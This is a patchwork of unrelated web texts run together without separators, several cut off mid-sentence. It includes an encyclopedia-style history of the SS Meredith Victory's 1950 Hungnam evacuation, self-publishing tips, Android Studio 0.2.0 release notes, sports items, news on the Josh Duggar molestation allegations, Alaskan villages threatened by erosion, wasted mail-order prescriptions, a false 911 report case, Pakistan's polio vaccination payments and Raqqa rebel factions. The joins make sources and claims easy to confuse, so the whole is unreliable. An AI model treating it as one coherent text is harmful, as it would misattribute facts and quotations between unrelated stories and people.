Source: We Got This CoveredThe SS Meredith Victory was a United States Merchant Marine Victory ship, a type of cargo freighter built for World War II. Under the leadership of Captain Leonard LaRue, the Meredith Victory is credited with the largest humanitarian rescue operation by a single ship,[4] evacuating more than 14,000 refugees in a single trip during the Korean War. The vessel has often been described as the "Ship of Miracles" as it was designed to carry only 12 passengers with a 47-person crew.[5]
History [ edit ]
The SS Meredith Victory was named after Meredith College, a small women's college in North Carolina.[6] The ship was built to transport supplies and equipment overseas during World War II. During World War II, she was operated by American President Lines. In 1950, she was laid up at Olympia, Washington, as part of the National Defense Reserve Fleet. She was then deployed in the Korean War.
In December 1950, United Nations Command troops were retreating from northeast Korea after a massive assault by Chinese and North Korean forces. Over 100,000 UNC soldiers were to evacuate the city of Hungnam on 193 ships bound for the southern port of Busan. News of the evacuation spread, and nearly an equal number of civilians also gathered at the port, hoping to board these vessels as well.
On December 21, Captain Leonard LaRue decided to unload nearly all weapons and supplies from his ship in order to evacuate as many refugees as possible. Boarding went on from the afternoon of December 22 until the next morning.[7] Using booms and makeshift elevators, the crew filled the five cargo holds and the entire main deck. Although the ship was built to accommodate only 12 passengers, besides the crew and staff, more than 14,000 Korean civilians were crammed aboard. The Meredith Victory departed shortly after 11 am on December 23 for Busan, about 450 sea miles away,[8] as gunfire from UNC ships and explosives destroyed the port in an "enemy-denial-operation" razing. The ship had no escort or means of self-defense.[8]
Years later, LaRue would reflect on that trip:[9]
I think often of that voyage. I think of how such a small vessel was able to hold so many persons and surmount endless perils without harm to a soul. And, as I think, the clear, unmistakable message comes to me that on that Christmastide, in the bleak and bitter waters off the shores of Korea, God's own hand was at the helm of my ship.
Despite the fact that the refugees were "packed like sardines in a can" and most had to remain standing up, shoulder-to-shoulder, in freezing weather conditions during the entire voyage, there were no injuries or casualties on board. There was very little food or water, and the people were virtually unable to move. J. Robert Lunney, Staff Officer on the ship and a navy veteran of World War II, stated:
There's no explanation for why the Korean people, as stoic as they are, were able to stand virtually motionless and in silence. We were impressed by the conduct of the refugees, despite their desperate plight. We were touched by it.
First Mate D.S. Savastio, who only had first aid training, delivered five babies during the three-day passage to safety. The ship arrived in Busan on Christmas Eve, but no one was allowed off except a few wounded and those identified as communist sympathizers.[8] The Meredith Victory had to travel another 50 miles to Geoje Island before it could debark its passengers on December 26.[8]
Among the passengers were the parents of Moon Jae-in, the 19th President of South Korea. He was born on Geoje Island two years after the evacuation.[10]
Captain LaRue remained in command until the ship was decommissioned in 1952.[7]
After the Korean War, the ship sat in the harbor of Bremerton, Washington, as part of the "mothball fleet" until she was put back in service in 1966 for some missions during the Vietnam War. For the Vietnam War, she was converted to a troop ship.
In 1973, she was laid up in Suisun Bay. In 1993, she was towed to China and scrapped.[11]
Awards and distinctions [ edit ]
After the war, the South Korean government honored the crew with the Korean Presidential Unit Citation.[8] The United States Merchant Marine awarded the ship's crew the Meritorious Service Medal, its highest honor.[12] On August 24, 1960, the SS Meredith Victory was conferred the title of "Gallant Ship" by a special act of the U.S. Congress that was signed by President Dwight D. Eisenhower.[1]
The Department of Transportation declared it "the greatest rescue in the history of mankind". Guinness World Records has described it as "the largest evacuation from land by a single ship".[13]
Depictions [ edit ]
The documentary film Ship of Miracles, describes the events of the rescue.[14][15]
The SS Meredith Victory is featured prominently in the 2012 historical novel Hope in Hungnam.[16]
The drama film Ode to My Father begins with the Hungnam evacuation in 1950 and shows the evacuation process by the ship in detail.
Bibliography [ edit ]
Notes
References
Watts, David Watts (2012). Hope in Hungnam. CreateSpace Independent Publishing Platform. ISBN 9781434829665.Google's new My Activity tool gives you a better picture than ever before of your digital tracks, but it still doesn't tell you everything. WSJ's Nathan Olivarez-Giles explains how it works—and where to find it.
How to Use Google's New Privacy Tool 2:11
IF YOU think you are not being analysed while browsing websites, it could be time to reconsider.
A |
for a group of them. I knew that going out to that group without at least a couple of reviews would look amateurish, and might not help instill faith in them that this was a legitimate work. Having even a couple of reviews should help, right?
Lesson learned
I don’t know if the reviews helped or not. In the end, the response was again a great one. I got 17 comments on my post and saw another spike in sales. For a little while, I broke into the top 5,000 of all Kindle books on Amazon. That was short lived though. 🙂
Step 7: Get at least 5 reviews on Amazon
This time I didn’t have to pimp for more reviews. I logged onto Amazon three days after I published and saw 5 reviews sitting next to the book. That was a great feeling.
Lesson learned
There was a chance that I wouldn’t have gotten these reviews without a lot of trying. I think I got lucky and have great friends who support me. But if they were jerks, I would have reached out to them again. Don’t get me wrong, some of my friends are jerks.
Step 8: Set up Author/book pages
I set up my author pages on Goodreads, Amazon, and AddictedToEbooks. Goodreads and Amazon were the two most important. AddictedToEbooks wouldn’t allow me to set up a profile until I had 5 reviews on Amazon, hence the step 4 goal.
Lesson learned
Seeing my Amazon Author page was pretty amazing. Almost as amazing as seeing my book on Amazon for the first time. This step feels like it lends quite a bit of credibility to the book. Plus, the extra exposure for my blog didn’t hurt either. I really like what Amazon and Goodreads have done for authors in helping them organize their online personas in places where people search out good books.
Goodreads was strange. I manually added the book, including ISBNs and all information they asked for. However, it didn’t show up in the search for 4 nerve-racking days. When it finally did, I breathed a sigh of relief.
Step 9: Order my 5 free books from CreateSpace via NaNoWriMo
I was a NaNoWriMo winner this year, and one of the prizes was 5 free paperbacks from CreateSpace. Who am I to turn down free stuff?
Lesson learned
Shipping was $5.95.
Oh well…still worth it.
Step 10: Thank EVERYBODY
Self-publishing is all about word-of-mouth marketing. Every reviewer of my book who I knew personally, I thanked. Everyone who liked my Facebook post or shared it, I thanked. To those of you who already bought my book, THANK YOU! To those of you who are reading this, THANK YOU! You’re supporting me just by being on this page and making it this far in this post. I hope that you’ve found these steps and lessons helpful, and can use them in your own self-publishing endeavors.
Lesson learned
As much as we’re loners when we write, we need others when we’re ready to unleash that story to the world. And the world deserves to hear that story.CARMEL, N.Y. (CBSNewYork) — It was a disturbing discovery in the northern suburbs. A 6-year-old girl was found clinging to a dead body — in a lake.
It was a picture-perfect setting for an incongruous horror. Two men and a woman were using one of the row boats on Lake Gleneida in Carmel on Monday afternoon when they spotted a child and a corpse floating together approximately 100 feet from shore, police said.
“It was horrifying, especially for the three people in the boat and the young girl. They rode over and rescued her and immediately called 911,” Carmel Police Chief Michael Johnson said.
WCBS 880′ s Sean Adams reports https://cbsnewyork.files.wordpress.com/2012/08/adams_lake1v_morn_120807.mp3
The child is a local girl, and the body she was floating with belonged to her 59-year-old babysitter, Pamela Kaner of nearby Brewster, police said. Friends of the dead woman told CBS 2’s Lou Young she often walked the child along the edge of the lake, but never went in. Swimming is forbidden because the lake is part of the New York City water supply. Sources indicated Kaner was probably dead before she hit the water, because her lungs were still filled with air. The child might have been trying to save her.
A friend of the woman said she suffered from multiple sclerosis and reactions to medication, CBS 2’s Young reported. Paramedics were unable to revive her. Carmel police said the whole thing looks like a horrible accident, although the circumstances haunt everyone involved. No one but the child saw how she ended up in the lake.
“The thing is, nobody knows what happened. That’s what’s killing everybody. I mean, you just don’t know,” said Ballesson Ball, a friend of the deceased woman.
The unidentified child was being counseled as the coroner’s office waited for test results before completing the autopsy report.
The little girl’s parents are estranged. Neither of them wanted to speak with reporters.
“We are saddened by the tragedy that occurred,” Department of Environmental Protection Commissioner Carter Strickland said in a statement. “Our thoughts and prayers are with the family.”
New York City DEP oversees the lake and its detectives were investigating.
Please offer your thoughts in the comments section below …Recent Changes > Android Studio 0.2.0 Released For additional information and download links, see http://developer.android.com/sdk/installing/studio.html
We've just released Android 0.2.0, with the following changes: Merged in the latest IntelliJ codebase changes. In addition to new features this includes fixes for issues reported by Studio users such as tweaks to Linux font sizes and font rendering.
Gradle IDE integration fixes:
Android Gradle plug-in 0.5.0. This new version of the plug-in is not backwards compatible. When opening a project that uses an older version of the plug-in, Studio will show the following error as a balloon in the upper right corner of the IDE:
You will need to change the version of the Android Gradle plug-in to 0.5.0. Just click the link “Search in build.gradle files” to look for the places where this change needs to be made. (See the Troubleshooting section below for more info). You will need to change the version of the Android Gradle plug-in to 0.5.0. Just click the link “Search in build.gradle files” to look for the places where this change needs to be made. (See the Troubleshooting section below for more info).
Gradle errors from aapt no longer point to merged output files in the build/ folder, they point back to the real source locations
no longer point to merged output files in the folder, they point back to the real source locations
Parallel Builds. It's now possible to use Gradle's parallel builds. Please be aware that parallel builds are in "incubation" (see Gradle's documentation.) This feature is off by default. To enable it, go to "Preferences" > "Compiler" and check the box "Compile independent modules in parallel."
Inter-module dependencies are now properly configured. Instead of depending on the compiled output, we link to the module itself, making it possible to debug code.
Updated to the new Gradle Plugin version 0.5
Fixed IDE model to contain the output file even if it's customized through the DSL. Also fixed the DSL to get/set the output file on the variant object so that it's not necessary to use variant.packageApplication or variant.zipAlign
Fixed dependency resolution so that we resolved the combination of (default config, build types, flavor(s)) together instead of separately.
Fixed dependency for tests of library project to properly include all the dependencies of the library itself.
Fixed case where two dependencies have the same leaf name.
Fixed issue where Proguard rules file cannot be applied on flavors.
Release notes for the new Gradle plugin are here: http://tools.android.com/tech-docs/new-build-system
Further work on the new resource repository used for layout rendering, resource folding in the editor, etc:
Basic support for.aar library dependencies (e.g. using a library without a local copy of the sources). Still not working for resource XML validation and navigation in source editors.
library dependencies (e.g. using a library without a local copy of the sources). Still not working for resource XML validation and navigation in source editors.
Cycle detection in resource references
Quick Documentation (F1), which can show all translations of the string under the caret, will now also show all resource overlays from the various Gradle flavors and build types, as well as libraries. They are listed in reverse resource overlay order, with strikethrough on the versions of the string that are masked. In the below screenshot for example, we have flavors f1 / f2 and fa / fb, and the string has both a default translation and a values-no version only in flavor fa, and this is all shown in the table which pops up when you press F1 with the caret on the string key name:
You can also invoke Quick Documentation when editing a strings.xml file by invoking it in the name value attribute, to see all the alternate translations. Note that this feature is not just specific to strings; you can invoke Quick Documentation to see the various resource overlays of dimensions, drawables, etc.
/ and /, and the string has both a default translation and a version only in flavor, and this is all shown in the table which pops up when you press F1 with the caret on the string key name: You can also invoke Quick Documentation when editing a strings.xml file by invoking it in the name value attribute, to see all the alternate translations. Note that this feature is not just specific to strings; you can invoke Quick Documentation to see the various resource overlays of dimensions, drawables, etc.
Fixes to handle updating the merged resources when the set of module dependencies change
XML rendering fixes to properly handle character entity declarations and XML and unicode escapes
Save Screenshot support for the layout preview and layout editor windows
Template bug fixes
New projects now get a properly configured local.properties file on creation.
Various bug fixes to the new project/module/activity wizards
Lint bug fixes
And fixes for a number of crash reports; thanks for submitting these. Installation To install 0.2, you'll need to install a new Studio bundle. In other words, we are not offering a patch update from 0.1.9 to 0.2. The reason for that is that we have made changes to for example the bundled SDK such that it includes a pre-configured local Maven repository which can serve up the v4 support library.
NOTE 1: There are some early reports that people are running into problems on Windows if they just run the installer, and it installs itself on top of 0.1.9. Apparently if you don't delete the old installation, some older files end up interfering with 0.2.0 and causing runtime problems. See the Troubleshooting section for more. In short, you may want to move 0.1.9 out of the way first, such that 0.2.0 installs into a new, clean directory.
NOTE 2: There is a patch release available of 0.2 now, so you might be able to patch update from 0.1.9 to 0.2. In this case, your SDK bundled installation will not automatically pick up the bundled Maven repository serving up the android support library. So be sure to read the Troubleshooting section below for how to install it! Troubleshooting We've extracted all the troubleshooting information for Studio 0.2.0 in the following document: tools.android.com/knownissues. If you run into problems, please visit the document, which gets updated regularly as we hear about issues and work on resolutions. We've just released Android 0.2.0, with the following changes:Through games of Sunday, Dec. 1:
Dropped out: No. 16 Whitworth; No. 20 UW-Platteville, No. 22 North Central (Ill.).
Others receiving votes: Colorado College 49; Guilford 43; North Central (Ill.) 42; Centre 41; John Carroll 39; Whitworth 34; Augsburg 32; Eastern Connecticut 28; Catholic 26; Ohio Wesleyan 25; Emory 22; UW-Stout 20; Christopher Newport 15; Dubuque 13; Texas-Dallas 13; Baldwin Wallace 13; Concordia (Texas) 12; Brandeis 12; Carthage 11; UW-Platteville 9; Richard Stockton 8; Albertus Magnus 8; Southern Vermont 7; New Jersey City 6; Defiance 4; Tufts 3; Scranton 2; Stevenson 1; Dickinson 1; Cortland State 1; Loras 1; NYU 1.
The D3hoops.com Top 25 is voted on by a panel of 25 coaches, Sports Information Directors and media members from across the country, and is published weekly.Believe it or not, football is back!
Real, live football will be played Thursday night in Canton Ohio when the Dallas Cowboys and Arizona Cardinals meet in the Hall Of Fame game.
This game, played to honor each year’s inductees to the NFL Hall Of Fame is essentially a fifth pre-season game for the teams involved.
The Cowboys have yet to announce anything regarding their starters — and would anyone be surprised if they played them to score a touchdown or two against Arizona’s backups to set the stage for Jerry Jones’ induction into the HOF? Dallas did leave Maliek Collins, Ryan Switzer, Justin Durant, Jourdan Lewis, and David Irving behind when traveling to Ohio.
Cardinals coach Bruce Arians has already said that his starters won’t be playing, so fans shouldn’t expect to see Carson Palmer, Larry Fitzgerald, David Johnson, Patrick Peterson, Tyrann Mathieu, or Chandler Jones. Also, Palmer’s back-up Drew Stanton is not expected to play, leaving Blaine Gabbart as the expected starter for Arizona.
While there won’t be star power on the field for Arizona, it gives opportunities for young players to shine. And hey, its still Football!
Game DetailsAs Josh Duggar continues to make headlines following sexual misconduct allegations, it has been revealed that he made an incest joke about his siblings while on his family's TLC's show.
The 27-year-old talks about going on a date with his then-fiancee Anna during the show, then called 17 Kids and Counting.
As all Duggars require chaperons for dates, his siblings, twins Jana and John David tagged along to the movie.
'We chose Jana and John David. We thought, "Why not have a double date?" We are from Arkansas!' Josh said while laughing in the clip, which aired in October 2008.
On May 21, police reports from 2006 were released into the public domain, accusing Josh of molesting five young girls while they were asleep. Josh was a teenager at the time. Above, Josh is seen in Febraury 2015 with his wife Anna, who is pregnant with their fourth child - a baby girl due to arrive in July
A video from the then-called 17 Kids and Counting shows Josh Duggar making an incest joke about his siblings, twins Jana and John David
The video resurfaced this weekend when it was shared on the Duggar Family News: Life is not all pickles and hairspray Facebook page.
Josh Duggar's seven-year-old incest joke is the most recent development of many that have followed last Thursday's release of a 2006 police report accusing Josh, of child molestation.
The police report led to Josh Duggar having to make a public apology for his actions.
Josh Duggar apologized last week after the child molestation allegations from when h was a juvenile became public on May 21
It emerged on Friday that his mother, Michelle Duggar, equated transgender people to 'child predators' 12 years after Josh made the sordid confession.
Last August, Michelle - who stars in TLC's hit show 19 Kids and Counting with her husband, Jim Bob, and children - spoke out about a proposed anti-discrimination ordinance in Fayetteville, Arkansas.
Narrating a robocall to local voters, she expressed concern that the bill - which was eventually passed - would let transgender people use whichever bathroom they felt most comfortable in.
On Friday it was also announced that Josh Duggar would cancel his appearance at a homeschooling conference in Sandusky, Ohio, fearing he would distract attendees from the focus of the convention.
Later that day TLC announced that the entire Duggar family was pulled from a network Summer Block Party Event in Philadelphia.
Since the accusations were revealed, Arkansas police have destroyed a police record outlining a nearly decade-old investigation into Josh Duggar, a move that follows allegations stemming from when he was a juvenile.
Josh Duggar was accused of fondling five girls in 2002 and 2003, according to The Northwest Arkansas Democrat-Gazette, which obtained the offense report before its destruction on Thursday.
Springdale Police spokesman Scott Lewis said Judge Stacey Zimmerman ordered the 2006 offense report destroyed Thursday. Zimmerman didn't return a request for comment on Friday.
'The judge ordered us yesterday to expunge that record,' Lewis said, adding that similar records are typically kept indefinitely. 'As far as the Springdale Police Department is concerned this report doesn't exist.'
Arkansas police have destroyed a record outlining a nearly decade-old investigation into Josh Duggar, after sexual misconduct allegations stemming from when he was a juvenile were revealed
JOSH DUGGAR'S MOLESTATION OF MINORS In March 2002, an unnamed minor said that Josh Duggar, then 14, 'had been touching her breasts and genitals while she slept.' He would admit to this a few months later in July, and a member of the family claims they had a meeting to discuss the incident. Then, in March 2003,'several' minors came forward to say that Josh had been touching them 'when they sleep,' leading to his father Jim Bob holding another family meeting and deciding to speak with elders at the family's church about the offenses. It was suggested that Josh should enter a treatment program, at which point he spent four months in Little Rock, Arkansas helping a family friend remodel a building. Upon his return, Jim Bob informed those aware of the situation that Josh had received counseling and took him to a family friend who was a state trooper to reveal what had occurred, resulting in the teenager getting a stern lecture but no formal report being filed by police. By all accounts, the offenses stopped and Josh apologized to the victim, but some time in 2006 an individual in the church who had borrowed a book from the Duggars found a note detailing Josh's molestation of minors. That person then sent that information in an email to The Oprah Winfrey Show shortly before the Duggars were set to appear, and they in turn notified authorities who began conducted an investigation. Jim Bob and Michelle along with all the victims were interviewed, though Josh was made unavailable to speak by his parents and no charges were pursued in the end as the statute of limitations had by that point run out.
One of his victims reportedly came forward and requested the document be expunged from public record.
The girl told a judge she feared her name would be released and she was still a minor. The judge agreed and signed off to have the report into the investigation destroyed.
Neither Duggar nor his father, a former state representative, returned calls seeking comment
The reality star issued an apology on Thursday to Facebook for unspecified bad behavior as a youth and resigned his role as executive director for FRC Action, the tax-exempt legislative action arm of the Washington-based Family Research Council.
'I would do anything to go back to those teen years and take different actions,' Duggar wrote. 'In my life today, I am so very thankful for God's grace, mercy and redemption.'
No charges were filed against Duggar, and the report says investigators concluded the statute of limitations had passed, according to the newspaper.
Duggar appears on the TLC reality show '19 Kids and Counting,' which stars his family. He is the oldest of Jim Bob and Michelle Duggar's 19 children.
TLC pulled the series from its schedule on Friday, after the reports of sexual misconduct allegations were revealed.
All the gang: Michelle, 47, who stars in TLC's hit show 19 Kids and Counting with her family, is pictured with her husband, Jim Bob, and children in 2014
Happy family snap: Michelle and Jim, Bob beam head out to vote in the latter's 2002 run for a seat in the US Senate with their children. Just months earlier, Josh, now aged 27, had admitted to molesting young girls
THE MOST DIFFICULT TIMES OF OUR LIVES: THE DUGGAR'S STATEMENTS ON SCANDAL From Jim Bob and Michelle: 'Back 12 years ago our family went through one of the most difficult times of our lives. When Josh was a young teenager, he made some very bad mistakes and we were shocked. We had tried to teach him right from wrong. That dark and difficult time caused us to seek God like never before. Even though we would never choose to go through something so terrible, each one of our family members drew closer to God. We pray that as people watch our lives they see that we are not a perfect family. We have challenges and struggles everyday. It is one of the reasons we treasure our faith so much because God’s kindness and goodness and forgiveness are extended to us — even though we are so undeserving. We hope somehow the story of our journey — the good times and the difficult times — cause you to see the kindness of God and learn that He can bring you through anything.' From Josh: 'Twelve years ago, as a young teenager I acted inexcusably for which I am extremely sorry and deeply regret. I hurt others, including my family and close friends. I confessed this to my parents who took several steps to help me address the situation. We spoke with the authorities where I confessed my wrongdoing and my parents arranged for me and those affected by my actions to receive counseling. I understood that if I continued down this wrong road that I would end up ruining my life. I sought forgiveness from those I had wronged and asked Christ to forgive me and come into my life. I would do anything to go back to those teen years and take different actions. In my life today, I am so very thankful for God’s grace, mercy and redemption.' From Anna: 'I can imagine the shock many of you are going through reading this. I remember feeling that same shock. It was not at the point of engagement, or after we were married - it was two years before Josh asked me to marry him. When my family and I first visited the Duggar Home, Josh shared his past teenage mistakes. I was surprised at his openness and humility and at the same time didn't know why he was sharing it. For Josh he wanted not just me but my parents to know who he really was -- even every difficult past mistakes. At that point and over the next two years, Josh shared how the counseling he received changed his life as he continued to do what he was taught. And when you, our sweet fans, first met me when Josh asked me to marry him... I was able to say, "Yes" knowing who Josh really is - someone who had gone down a wrong path and had humbled himself before God and those whom he had offended. Someone who had received the help needed to change the direction of his life and do what is right. I want to say thank you to those who took time over a decade ago to help Josh in a time of crisis. Your investment changed his life from going down the wrong path to doing what is right. If it weren't for your help I would not be here as his wife — celebrating 6 1/2 years of marriage to a man who knows how to be a gentleman and treat a girl right. Thank you to all of you who tirelessly work with children in crisis, you are changing lives and I am forever grateful for all of you.'
In a statement, the channel said it was 'deeply saddened and troubled by this heartbreaking situation, and our thoughts and prayers are with the family and victims at this difficult time.' The statement didn't elaborate.
The program had been set to air in reruns after wrapping its most recent season.
Sources in the industry told TMZ that TLC is considering a number of options, including canceling the show entirely or continuing the show without Josh Duggar.
There is a belief that removing Josh Duggar from the air wouldn't hurt the show, sources said, adding that the daughters are the driving force of the show.
Springdale Police began investigating Duggar in 2006 when officers were alerted to a letter containing the allegations that was found in a book lent by a family friend to someone else.
At the time of the incidents, the family had a meeting, but did not tell police. A year later,'several' more minors came forward to say that Josh had touched them as they slept, and the teen was sent away for treatment.
The report, originally published by tabloid In Touch Weekly, states that a member of Harpo Studios, the producer of Oprah Winfrey's then show, received an email containing the allegations before the family was set to appear in 2006.
Josh Duggar issued an apology on Thursday to Facebook for unspecified bad behavior as a youth and resigned his role as executive director for FRC Action, the tax-exempt legislative action arm of the Washington-based Family Research Council
The tipster warned producers against allowing the Duggars on the show and studio staff members faxed a copy of the email to Arkansas State Police.
Several Arkansas Republicans have rallied behind the Duggar family, which is still engaged in state politics.
Jim Bob and Michelle Duggar attended the kickoff event earlier this month for Republican presidential candidate Mike Huckabee, who supported the family in a Facebook post on Friday.
'Those who have enjoyed revealing this long ago sins in order to discredit the Duggar family have actually revealed their own insensitive bloodthirst, for there was no consideration of the fact that the victims wanted this to be left in the past and ultimately a judge had the information on file destroyed-not to protect Josh, but the innocent victims,' Huckabee wrote.
Arkansas Sen. Bart Hester said Josh Duggar, who he has known for about five years, has been open and honest about the incident with wife, family and friends. State Sen. Jon Woods, who has known the Duggar family since 2005, said the family had put the issue behind them.
'It's between the family members and was addressed a long time ago but it's new to the public,' Woods said. 'The family had time to heal and now the public needs time to heal.'
Last October, TLC canceled a series about child beauty pageant contestant Honey Boo Boo and her Georgia family amid reports that her mother, June Shannon, was dating a man with a criminal past.Almost all of Alaska's indigenous villages are learning to live with the dramatic changes in the far north: the thinning sea ice, the melting of the frozen sub-soil known as permafrost. But for some villages the consequences of climate change are a direct threat to their existence.
A government report in 2003 found that 86% of all indigenous Alaskan villages – 184 communities – were experiencing consequences from climate change. The most destructive of those effects were erosion, flooding and extreme storms.
Some of the villages considered most at risk are:
Kivalina
An Inupiaq Eskimo village, with a population of about 400, Kivalina is situated on a barrier island in the Chukchi Sea, about 80 miles north of the Arctic circle. Villagers have survived in the area for centuries by hunting bowhead whales.
But climate change has led to their narrow barrier island rapidly losing land to the sea. The village is now overcrowded, with no room to expand with its growing population, and it is dangerously exposed to severe storms.
Last October, the state declared a disaster after the main water line to the village was destroyed by a storm. The village was forced to close the school and impose water rationing.
Engineers have now concluded there is little hope of protecting the village in its current location. In the late 1990s, a severe storm took out a first attempt at a sea wall, put together by the villagers with oil drums and debris. Several years later, another storm destroyed a far more expensive concrete version, just before its official opening.
Residents of Kivalina are desperate to leave – and have voted five times to move to a safer location on the mainland. But they have yet to get government approval for a new site for the village.
Other attempts to escape climate change have also failed. The village lost a law suit last September blaming oil companies for the climate change that has destroyed their way of life. Lawyers are now trying to get the supreme court to take up the case – but admit there is only a slim chance.
Koyukuk
The village is located on the Yukon River near the mouth of the Koyukuk River, and the people are from Athabascan indigenous group. The former fur trading post now faces a triple threat: erosion, flooding, and forest fires. The village, which has a population of about 90, decided to relocate in 2008, but has yet to choose a site, let alone get it approved. The villagers are now back to square one, deciding whether to relocate or try to shore up their existing site – or "re-evaluating" in official parlance.
Shaktoolik
A village of about 250 whose people are descended from two federally recognised tribes, the Unalit and Malemiut. They are on a sand spit between Norton Sound and the Tagoomenik River, with all of the main buildings on a single street, now threatened by flooding and storm surge. The village has opted to stay, however, and to try to use shoreline protections against these threats.
Shishmaref
An Inupiaq Eskimo Island on a barrier island in the Chukchi, north of the Bering Straits and about 20 miles south of the Arctic circle. About 600 people live there. Extreme storms have destroyed homes, when big logs are carried in on the waves like battering rams. They voted to relocate in 2002. They have chosen relocation sites, but these have not yet been approved by federal and state governments.
Unalakleet
Erosion, fuelled by climate change, is already posing a direct threat to health and safety in this Norton Sound village. Unalakleet lost its water supply last March, when the main water line froze solid. Engineers blame erosion that has been eating away at the coastline, exposing the pipe to the waves. Engineers have tried filling in the area, but it is a losing battle.
The village has also suffered a number of severe floods, and could even lose its airstrip – its only year-round access – by 2016, according to projections by the Army Corps of Engineers.
Unlike other villages, however, Unalakleet does occupy some higher ground so villagers are slowly moving there.COHOES — John McDonald will have to send more than $30,000 worth of unopened and expired mail-order prescription drugs and medical supplies off to Texas to be incinerated.
And it makes him sick to have to do it.
"Look at this waste. It's unbelievable," said McDonald, an owner of the family business, Marra's Pharmacy, who is also mayor of Cohoes. He had never seen anything like it in 25 years as a pharmacist.
Family members of a deceased man in his late-60s, a retired county worker who was not a Marra's customer, recently brought in dozens of bottles of pills, insulin, boxes of diabetic test strips and other supplies to treat diabetes, hypertension, kidney disease and allergies.
McDonald feared such medical waste may be a hidden epidemic, underscoring a lack of oversight that contributes to spiraling medical care costs, particularly from mail-order pharmaceutical companies that use automatic refill programs that are hard to cancel.
In the $30,000 case, the patient appeared to have little or no co-pay so there was no incentive to stop shipments of drugs he wasn't using. Moreover, the cost was being passed along to taxpayers for the patient, who was a public servant. In the patient's mind, the pile of drugs and medical supplies that piled up were thought to be "free."
"The solution to this kind of problem is complicated, but it's becoming more prevalent than we ever imagined," said McDonald, who learned of a woman who died in Cohoes a few months ago. She had thousands of dollars worth of unused mail-order diabetic test strips and medical supplies. A relative wanted to know what to do. Destroy it was the only option, McDonald said, since strict laws regulate such products.
As part of an earth-friendly environmental initiative, Marra's has taken in old and unused prescriptions as a public service for the past two years. It ships the material at Marra's expense, in special containers to a Texas company that destroys the items.
Typically, customers arrive with two or three old, partially-empty drug bottles at a time. But the outsized drop-off from family members of the deceased man – whose identity was withheld by McDonald due to privacy regulations — caused McDonald's seven staff pharmacists to gather around in wide-eyed amazement.
Nearly all of the dozens of bottles of pills and piles of boxes of medical supplies came from a large web-based mail-order company, informedRx.
"It's really disturbing and it indicates there's a lot of waste in the system," said Eileen Wood, vice president of pharmacy for Capital District Physicians' Health Plan, or CDPHP. The deceased man was not a CDPHP client.
"This is not the first time we've seen this and we're concerned," Wood said. "It's a big problem with pharmacy operations that do automatic shipping. Once they've got your prescription, they just keep shipping and shipping on auto-refill and you can't stop it. It's like a robot gone wild."
When they've tried to help customers stop automatically shipped drugs, McDonald said he and other pharmacists at Marra's have found it can be difficult to contact the mail-order companies to do so.
McDonald speculated that this is likely the scenario that led to the $30,000 pile of taxpayer-paid medical supplies that will be destroyed.
"Seeing all this waste was eye-opening and shocking," said Kathleen Bonner, an intern at Marra's who will graduate this spring from the Albany College of Pharmacy. She tallied the inventory, including 54 boxes of Flonase, a nasal spray for allergies, at more than $100 per box.
"It reminded me that there needs to be monitoring and personal intervention by a pharmacist," Bonner said. "This man needed care he wasn't getting. Obviously, he was non-compliant because none of the drugs had been opened."
McDonald and Bonner discussed, with an overtone of irony, that a pharmacist's mantra is to stamp out FWA: fraud, waste and abuse.
"This isn't fraud," McDonald said. "But it is waste and it's definitely abuse for taxpayers who paid for it."
pgrondahl@timesunion.com • 518-454-5623 • @PaulGrondahlOscar Carrillo takes three-month jail sentence for lying to 911 dispatchers. Image via KNBC-TV.
A California man will spend three months in jail and could be deported after pleading guilty to lying to a 911 dispatcher, leading police into a fatal encounter with a 19-year-old man.
The Pasadena Sun reported on Monday that Oscar Carrillo, an undocumented immigrant from Mexico, took a plea agreement preventing him from going to trial and facing a four-year jail sentence. He will also pay about $3,000 in restitution to Pasadena police and will spend 36 months on probation. Carrillo is scheduled to begin serving his sentence on June 27.
Carrillo has also been named in a lawsuit filed by the family of Kendrec McDade, who was shot and killed by local police in March 2012. Officers mistakenly believed McDade, suspected of stealing Carrillo’s backpack at the time, to be armed after Carrillo told 911 dispatchers he was robbed at gunpoint. Carrillo later admitted to lying about the gun in order to generate a faster police response.
“I don’t feel guilty about anything,” Carrillo told KNBC-TV. “Only God knows, and me, I don’t do anything. I feel sorry. Nobody deserves to die.”
The two officers who shot McDade were cleared of any wrongdoing in December 2012. On Monday, his family’s attorney, Caree Harper, expressed their disappointment in a statement to KNBC.
“The recent slap on the wrist of Mr. Carrillo serves as yet another disappointment to the McDade family following the failure of the District Attorney’s office to charge him with a felony,” Harper said in the statement.
But City Attorney Michele Bagneris told the station that the sentence sent a strong message.
There are potentially serious consequences when people make false reports,” Bagneris told KNBC. “It’s a threat to public safety, it’s a drain on public resources.”
Watch KNBC’s report on Carrillo’s sentence, aired Monday, below.
View more videos at: //nbclosangeles.com.
[Image via KNBC-TV]Parents in Khyber Pakhtunkhwa province to get 1,000 rupees for each child who completes vaccinations after Peshawar declared largest reservoir of endemic polio
Parents in one of Pakistan's most troubled provinces are to be paid to vaccinate their children against polio, the crippling disease the world is tantalisingly close to eradicating.
It is hoped some 2 million children from some of the most disadvantaged areas of Khyber Pakhtunkhwa (KP), the north-western province wracked by Taliban violence, will benefit from the scheme.
Parents will be entitled to claim 1,000 rupees (almost £6) for each newborn child who completes a 15-month programme of vaccinations that will protect them against a number of diseases including measles, hepatitis and polio.
It is the first time the country has resorted to monetary incentives, which are rarely used around the world.
Public health officials battling childhood diseases face immense challenges in KP, where militant attacks are a daily routine, poverty is entrenched and many people are deeply suspicious of programmes enthusiastically backed by western powers.
"It has to be a good amount of money to be attractive, even in the very poorest districts of the province," said Janbaz Afridi, deputy director of the province's expanded programme on immunisation. "If it is a success we will extend it to every child in the province."
KP's government, backed by UN agencies, is currently on a war footing against polio |
Sa’ad al-Hadhrami) and thus joined its ranks, a case-in-point being part of the Liwa al-Nasir Salah al-Din.
As infighting spread between rebel forces and ISIS, Liwa Thuwar al-Raqqa appears to have taken the lead in fighting ISIS inside Raqqa city in January 2014, at which point it had broken off from Jabhat al-Nusra. However, ISIS did not suffer the same problem as elsewhere (e.g. in Idlib province) of being thinly spread out and was able to consolidate control of Raqqa city, expelling Jabhat al-Nusra, Ahrar al-Sham, Liwa Thuwar al-Raqqa etc. It would appear that the rebel side conversely suffered from problems of poor coordination in their efforts. Liwa Thuwar al-Raqqa then withdrew into the Raqqa countryside up to the Kobani enclave, seeking refuge with the Kurdish YPG. As the Liwa Thuwar al-Raqqa break-off from Jabhat al-Nusra had not been officially announced at the time, this was the origin of the ISIS narrative that Jabhat al-Nusra had entered into an alliance with the YPG. In April 2014 came Jabhat al-Nusra’s announcement of the break between itself and Liwa Thuwar al-Raqqa.
